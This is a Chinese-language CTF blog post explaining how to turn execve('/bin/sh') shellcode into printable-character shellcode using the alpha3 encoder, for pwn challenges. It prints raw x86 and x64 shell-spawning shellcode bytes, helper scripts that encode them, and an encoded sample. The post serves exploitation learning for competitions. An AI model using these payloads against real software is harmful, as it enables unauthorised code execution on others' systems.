–
前言
第一次遇见由可视化字符串组成的shellcode视在mrctf2020的一道题里面,当只是大概知道怎么回事就没管过它了。后来在ciscn2022的初赛又遇见同类型题目,想用之前用过的shellcode去套,发现不行,生草了很久最后去蹭了一个可用的shellcode
正文
shellcode一般是指一段已经编辑好的execve函数(提权)的二进制内容(赋值各寄存器,call系统调用)。
在pwntools里可以用shellcraft.sh()
,但是这个可能有点长(有时候会超出长度限制)
当然,还有一些祖传代码
1 2 3 4 5 6 7 8 9 10 11
| shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80"
shellcode="" shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e" shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f" shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
|
但是,这些shellcode如果转化成字符输入大多数会包含一些不可打印字符。而实际情况又经常会发生这种要求输入可见字符。
git clone https://github.com/TaQini/alpha3
这是用python2写的
使用:
git下来以后为了使用方便额外创建了两个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #pshellcode.py from pwn import * context.arch='amd64'
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" shellcode += asm("jmp rsp;") #change it if you want
sc = shellcraft.sh() sc +="jmp rsp;"
#print shellcode print asm(sc)
|
这个用于客制化你要的shellcode(想要那种就其中改一下就行)
另一个
1 2 3 4 5
| #pshellcode.sh #!/bin/sh python2 ./pshellcode.py > ./alpha3/shellcode cd alpha3 ./shellcode_x64.sh rax
|
alpha3
和pshellcode.sh
,pshellcode.sh
放同一个文件夹下面
使用时
./pshellcode.sh
1 2
| lacktea@ubuntu:~/pwn/normal$ ./pshellcode.sh Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a074K3D0H00
|
这是最普通的使用了,如果想进阶可以自己看看使用文档
ps:据说还有个ae64,但我搞了半天始终都不行,